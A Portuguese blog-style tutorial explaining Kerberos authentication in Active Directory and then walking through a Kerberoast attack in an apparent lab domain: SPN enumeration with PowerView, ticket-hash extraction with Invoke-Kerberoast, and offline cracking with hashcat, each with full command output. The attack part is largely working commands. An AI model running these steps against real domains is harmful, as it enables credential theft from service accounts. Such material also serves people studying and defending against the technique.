Kerberos & Kerberoast
O protocolo Kerberos fornece autenticação para o ambiente de computação possibilitando flexibilidade para operar entre diversos sistemas operacionais. Em ambientes Microsoft Windows, o protocolo é instalado como parte do Active Directory Services, ajudando no controle centralizado do gerenciamento de contas de usuários, computadores, grupos, serviços e recursos, desde que a Microsoft o adotou no Windows 2000, abandonando o processo de autenticação que na ocasião era através do NT LAN Manager (NTML) Challenge-Response.
Kerberos é um protocolo de autenticação usado para verificar a identidade de um usuário ou host. Microsoft
Funcionamento do processo de autenticação
- No momento em que o usuário faz logon utilizando credenciais de um domínio, o Local Security Authority Subsystem Service (LSASS) armazena o hash da sua conta. O LSASS armazena credenciais na memória em nome de usuários com sessões ativas do Windows.
- O TGT (Ticket-Granting-Ticket) será requisitado ao KDC (Key Distribution Center) service presente no DC (Domain Controller), utilizando algum dos algoritimos de criptografia (RC4_HMAC, DES_CBC_MD5, 128AES_HMAC, 256AES_HMAC…) baseando-se no Domain Level Function.
- Ocorrendo a validação da autenticação da conta, o Domain Controller retorna o TGT assinado com o hash da conta de serviço krbtgt (Key Distribution Center Service Account). krbtgt é a conta utilizada para criptografar e assinar todos os tickets do domínio, logo, se o hash da conta é comprometido, um atacante pode forjar tickets (Golden Tickets).
Através do cmdlet Get-WmiObject do powershell, podemos obter informações sobre a conta krbtgt utilizando a classe ads_account presente no NameSpace ROOT\directory\LDAP.
PS C:\Users\tuxtrack> Get-WmiObject -Namespace "ROOT\directory\LDAP" -Class ads_account -Filter "ds_user='krbtgt'"
DS_Name : krbtgt
ADSIPath : LDAP://CN=krbtgt,CN=Users,DC=hnr,DC=local
DS_description : {Key Distribution Center Service Account}
DS_servicePrincipalName : {kadmin/changepw}
DS_memberOf : {CN=Denied RODC Password Replication Group,CN=Users,DC=hnr,DC=local}
- Para que o usuário possa utilizar algum serviço do domínio, o processo de autorização se dá através do envio do TGT ao Domain Controller para a requisição do Service Ticket ou TGS (Ticket-Granting-Service), ex.: MSSqlSvc/SQL.domain.com. Durante esse processo o atacante pode especificar qual criptografia ele suporta (RC4_HMAC, AES256_CTS_HMAC_SHA1_96, etc).
- O Domain Controller retorna o Service Ticket (TGS) correspondente ao serviço solicitado, após identificar qual conta de usuário/computador possui o serviço solicitado. O ticket retornado é criptografado com o hash da conta de usuário/computador correspondente ao serviço.
- O Service Ticket (TGS) é apresentado ao server que armazena o serviço solicitado, o servidor descriptografa o hash utilizando seu próprio hash (Hash esse que foi utilizado pelo DC para criptografar o TGS no passo anterior) e o acesso ao serviço é concedido.
Kerberoast
Kerberoast é o nome dado ao ataque no processo de assinatura de um Service Ticket. TGS’s tickets são criptografados com hash NTLM da conta de domínio utilizada como conta de serviço que utilize o kerberos para autenticação, no caso abaixo, a conta sqlserver para o SPN MSSQLSvc/SQL.hnr.local (TGS-REP). O acesso ao serviço não é necessário para se ter acesso ao ticket de serviço, já que como mostrado anteriormente, para requisitar um TGS, o atacante necessita apenas do TGT (TGS-REQ).
SPN - A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name. MSDN
É necessário ao atacante listar todos os SPN’s presentes no domínio. Uma das formas de enumerá-los é utilizando o módulo Get-NetUser do PowerView, projeto que reúne diversos recursos de enumeração em ambientes Microsoft Active Directory, ou poderíamos utilizar a ferramenta setspn.exe seguindo do argumento “-L ServerName”, presente por padrão nos sistemas operacionais Microsoft Windows.
PS C:\Users\charris\Desktop> Get-NetUser -SPN -Domain hnr.local
logoncount : 0
badpasswordtime : 12/31/1600 10:00:00 PM
description : Key Distribution Center Service Account
distinguishedname : CN=krbtgt,CN=Users,DC=hnr,DC=local
objectclass : {top, person, organizationalPerson, user}
name : krbtgt
primarygroupid : 513
objectsid : S-1-5-21-45967290-1955130809-1078885739-502
whenchanged : 2/11/2020 3:41:33 AM
logonhours : {255, 255, 255, 255...}
admincount : 1
codepage : 0
samaccounttype : 805306368
showinadvancedviewonly : True
accountexpires : 0
cn : krbtgt
adspath : LDAP://GOKU.hnr.local/CN=krbtgt,CN=Users,DC=hnr,DC=local
instancetype : 4
objectguid : 33883e3e-0893-47f3-bff4-df5ebbd1a7eb
lastlogon : 12/31/1600 10:00:00 PM
lastlogoff : 12/31/1600 10:00:00 PM
samaccountname : krbtgt
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=hnr,DC=local
dscorepropagationdata : {2/10/2020 10:56:16 AM, 2/10/2020 10:29:34 AM, 1/1/1601 12:04:16 AM}
serviceprincipalname : kadmin/changepw
memberof : CN=Denied RODC Password Replication Group,CN=Users,DC=hnr,DC=local
whencreated : 2/10/2020 10:29:34 AM
iscriticalsystemobject : True
badpwdcount : 0
useraccountcontrol : 514
usncreated : 12324
countrycode : 0
pwdlastset : 2/11/2020 12:41:33 AM
msds-supportedencryptiontypes : 0
usnchanged : 20571
logoncount : 20
badpasswordtime : 2/12/2020 3:51:51 PM
distinguishedname : CN=SQLServer,CN=Managed Service Accounts,DC=hnr,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : SQLServer
lastlogontimestamp : 2/12/2020 3:52:01 PM
userprincipalname : sqlserver@hnr.local
name : SQLServer
objectsid : S-1-5-21-45967290-1955130809-1078885739-1602
samaccountname : sqlserver
codepage : 0
samaccounttype : 805306368
whenchanged : 2/12/2020 11:10:04 PM
accountexpires : 9223372036854775807
countrycode : 0
adspath : LDAP://GOKU.hnr.local/CN=SQLServer,CN=Managed Service Accounts,DC=hnr,DC=local
instancetype : 4
usncreated : 28785
objectguid : 30de1078-1fed-40af-81cc-e79f0b7537f0
lastlogoff : 12/31/1600 10:00:00 PM
msds-allowedtodelegateto : MSSQLSvc/SQL.hnr.local
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=hnr,DC=local
dscorepropagationdata : {2/12/2020 6:06:13 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname : {MSSQLSvc/SQL.hnr.local:1433, MSSQLSvc/SQL.hnr.local:SQLEXPRESS, MSSQLSvc/:1433, MSSQLSvc/SQL.hnr.local}
givenname : SQLServer
lastlogon : 2/12/2020 6:13:45 PM
badpwdcount : 0
cn : SQLServer
useraccountcontrol : 512
whencreated : 2/12/2020 6:06:13 PM
primarygroupid : 513
pwdlastset : 2/12/2020 8:10:04 PM
usnchanged : 32844
Após a enumeração, como informado anteriormente, o atacante de posse do TGT precisa requisitar o TGS para o serviço alvo assinado pela conta do usuário/computador correspondente. A extração do ticket criptografado do TGS-REP, pode ser executada utilizando o módulo Invoke-Kerberoast presente no toolkit PowerSploit.
PS C:\Users\charris\Desktop> Invoke-Kerberoast -domain hnr.local -OutputFormat Hashcat
TicketByteHexStream :
Hash : $krb5tgs$23$*sqlserver$hnr.local$MSSQLSvc/SQL.hnr.local:1433*$6EB0AF7AF18FE1BD3B1033840C3848CB$58E8E31B0086B724DA67DFA11BC6C2A6B36399DFD60A6DD935CD850BE8C9365821A04A6F4F113B
6CC178A80467DCB6AFE6DA14F2A8286BD91A079A795B77084DBDD876323FE5A9130E215E3F8D2E763D9F21840091336DCB315082C29BDC6A3E34A94DB26A8DDA2E007DF3DE085A1030FDAC24AF832C100FC7BBB6D00EE
CC8A375C7408EA858BBF746A0754BF58DE9D39646636F6B228D97DEBED70960CCBC1B6A6EC01936C9744CC6D43E38518AA24A84E3353E9AA3DB31E6FFA8D15917F10BF97E1909D70276F9B0C33ACB1B05DE912DDF9BE6
DA50BD35CE3A295AF29B8D530F2EAEDDAEFDC34A8BC0C05C3C592B4D1A5F296C20B9A37B7B08F4D19955C08A53BC80C8DDEE168D26E726FAD832355DF45583B78D70C8EE676B6838D155A864763667FFF2048D2BD4D35
F34EF06BD7E387EDC08402D8703CE635710B1A33E352225A680FE15F2F1F6D3B26D91B1C7616F1B558759EF82B4350E846D7245CAD30D65C1CDB39E2DBC34C8E1F9ECC4744BF75302EBADEA2BF8B40BB234307916CAC4
78A89A42062908F41FA1241B1489AE45731E2AEE521C5B56805C2C2152E117C42AC1BAE2159806F8F42D9463D7B2ED710F5BA85FC60D0988DCA6C70551DC95F2E2248B2F1E287CD156FB9B13356E9EE797D9FF17E0231
BE8406669AD7EEC934CB17F863BFB7DC545E0106BFE09DF621F9922C514D9242E07F2395F3286D78ADE0AAC6EC18D8CB3414018B9D82ECB39B1258805D0953AA564179BD60F2E8361671081304AEB06BB5D53F48F87BE
416FB203F14F835C841919E542D0C381D06EC1ACA47EDB88950EDFE7D6BAC6EA91FD806F21431A4B19179D34FCEF03D4774EFEA272FEDDC6D6BCBAD9E8E366DF8ECF9DB571857978DEF90727E92E49AA1795A5EFE7C7B
A57BD02FA28AD95DD9639EC5BDE3F3C229AC94AE20F574186334132084A94BBB0AC963E070AB9D5BF33D57EDAF43B653736FECA62B4C5414C5E68357527C0AB1E3C1F8B9306601DC3DA93D573C880642965F9AC587CB5
052ABF1E667D418CC3AB0B7D236D8B33A45FB328C094603C4388BCE467DD2EEA580130564541C31AE3CA1DE10F244DC05F4FA8F405A5C1B6D1C5C79A885C2BCD1A505989B70F005884BD639170E3C1147823ECC9EFFB0
A03C2B718595719DB8AD60A74AE06A92CB917B05E43E09D3993A5BACA5F656072294B9ECC64BC028C685358455935F7FC96E76A81E4771CA0BDDCB23346708B0B4EFE6929050846B6404D784A989F5A29EEA422E34225
44DDC77FB1B191249E2D7D19405F094A2934F5C1BF7DDCA532236C77EA98E76BB47F8391F39DECC3E64BF9667B8D28491CF09EBC28A0AF17E33C88E02BAD1346396BE2E2D75A079218ED683A2EB466B34EF5C274FE3A8
62BD89A260088C356201934C783D4166827F30DA0DAF4D2162DB215362BD299CFBE5B3D1855C1E70CFDEA5C5024FC4B6090B9037194F38EF884DCE5FE8DA037638EF2F11B93C8382D282BD0D761F697795D7AD38D9B75
198AF91F92E0D2A11595F3E6D63113165A8849DD8150284312D3AFB6047F88F5C88F76E1
SamAccountName : sqlserver
DistinguishedName : CN=SQLServer,CN=Managed Service Accounts,DC=hnr,DC=local
ServicePrincipalName : MSSQLSvc/SQL.hnr.local:1433
Com a extração do hash, o ataque se dá offline através da tentativa de descoberta da credencial utilizando wordlists em um processo de “quebra” do hash mencionado. Para exemplificar, foi utilizada como ferramenta o HashCat.
hashcat-5.1.0 ./hashcat64.bin -a 0 -m 13100 hash.txt ~/tools/wordlist/br-wordlist.txt
hashcat (v5.1.0) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GPU, 500/2000 MB allocatable, 5MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Watchdog: Temperature abort trigger set to 90c
Dictionary cache built:
* Filename..: /home/tuxtrack/tools/wordlist/br-wordlist.txt
* Passwords.: 73551
* Bytes.....: 596942
* Keyspace..: 73551
* Runtime...: 0 secs
$krb5tgs$23$*sqlserver$hnr.local$MSSQLSvc/SQL.hnr.local:1433*$b9aa930a4701972a30a499e63dc
bf5bb$61c1e1610ac22090f167efc415053ced20a33f8c2eafa63d4273c01bd5bcb17915adfc5978900e52735
a45fbee87cf87714eef994e0c7141727bde132b74090ba5689a7eb810dd36a7b4c9dca9bde985b4bfda061d4e
79bec757efe5776b3b448928f691ada4d5823e667ac12c04036b7c59b4cc5d6c73c6b90c41a665b75fc1290b1
24a237ff85755d8f32e16554355e376fad9c8bfbe148220a378a2a2c64f2636bce82640050826d1b70754d682
eaa5ef239bd51422a7f47f92f979478407af84db5c4e750084d698a2a86726b38cd97a89e5996105cced2d5bc
a96c08c839ec1129e71bbbd6bbe5072afeccd0a54a1bab854c5542183802a5ced29806de77615f9ce45d3dc5c
00ee84c27104f46aa219f36103f4ffec0f2144d7d46ff2f9466b6bba33fff5cd353b8a236f6e972e62f707857
1920320c8cf6279899c3304194e55dfa9053d5c3b6a67d122de88fab9475532643ba0ce5e3fdf3b2136439c33
a722fc040aa9b04ca4c3033c2d766dfa76d9f43680d28f74aa7835df74523cf30fc633fb6e63b1ce48c855a8b
5888ca3f054106e6c9aa7fb216ec32673e58091f587e86c2c84b82bcae0406a762b0fa0c5fa7c27245df3789b
8920d876d2fa0c6ba762cf9e8c6ed754ddb67370073d761c4ab9e71140ce56ad0645050cd0e164812040a2b16
d0649ca51b8b63518092a5d2810fc103cc1c7288f18c0e524fd2e050724e8b2b81fc957b704eb7b05f712f5bf
ee43c46261a2f6c6204a6178c694f662d409452dd823fa92b2a2a5e2d9cb00410007ee832d7631b2a5b3744e8
8409e4f4cf24b872d0c724d2733fa37b581cbfd18bf068f7518be633200e43fb38b32ecb1400bdf2f25c8190a
55df5d126e2d60fb445e58ee82df35b5a36c1dbf7915a42eac048235144086c8e75694068e1fc1a619990a545
1be5c7d9f1b3b3e21ed3a38c96c974dcd030cb5b4a7bd1c1fcfc91c75e0a025b4e965603251a319ee5e56706b
ad97a827c2dff3403202e4dcb25618cb488e04193a80281bd64f96d6efb8c89285320cd3749ee651c5096a073
3e39a2a603ea681ba0c423393f7326cdd2ee206f565f1084627e7d27db1327c4b1413858a372d377a412a1f70
5b22dbe13ab6df19430c1a82b0678467c964982ad192d6e6a00f86115925c82e6a50d7cf35450b06283d1c51d
02d926f23bf99b24eb5557f019720f1eb4c11cd4915aab29c0afb978c1233bda567381dc9ba6ccc84d7b7db27
fd78a06b40da4acb6fc6094befbe6b18926ae821ee728347a4914bddda945c2947aced4a2a187b0357b9d5953
f363462f0726f332b3761b112b540f1a01402e60dea0d0485f36194ae17d8cfec6acb6229efee662d4187f710
2393488d31ff6a5d4c40262274fb4a5ea1c7d76638c0b1ba82f62c841de519e0a2955b82eea2f70fae5dd30ec
007130caed823aa6f84fa97c227347a871dceefaa4d0860a82151c0a049b52332c550732c95a7c7ed54c0aa6a
1033831a4598b6bd0069b34e6bfd11ecc5ec8dca0a0e9d89dda1d3056e240beeaa98ce0645aeb105194382fb0
68e2ccb:P@$sword
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*sqlserver$hnr.local$MSSQLSvc/SQL.hnr.l...8e2ccb
Time.Started.....: Thu Feb 13 11:07:38 2020 (0 secs)
Time.Estimated...: Thu Feb 13 11:07:38 2020 (0 secs)
Guess.Base.......: File (/home/tuxtrack/tools/wordlist/br-wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 716.3 kH/s (9.92ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 73551/73551 (100.00%)
Rejected.........: 0/73551 (0.00%)
Restore.Point....: 0/73551 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Aarao -> integros
Hardware.Mon.#1..: Temp: 49c Util: 33% Core:1019MHz Mem:2505MHz Bus:16
Started: Thu Feb 13 11:07:28 2020
Stopped: Thu Feb 13 11:07:39 2020
Havendo sucesso, a senha é descoberta e o atacante poderá ter acesso a conta de serviço.
Bom, é isso ai!! Caso eu tenha errado em algo, ou alguma explicação precise ser melhorada, por favor entrem em contato comigo via twitter @tuxtrack ou por email: tuxtrack@hacknroll.com.
Happy Hacking and HackN’Roll \m/
References: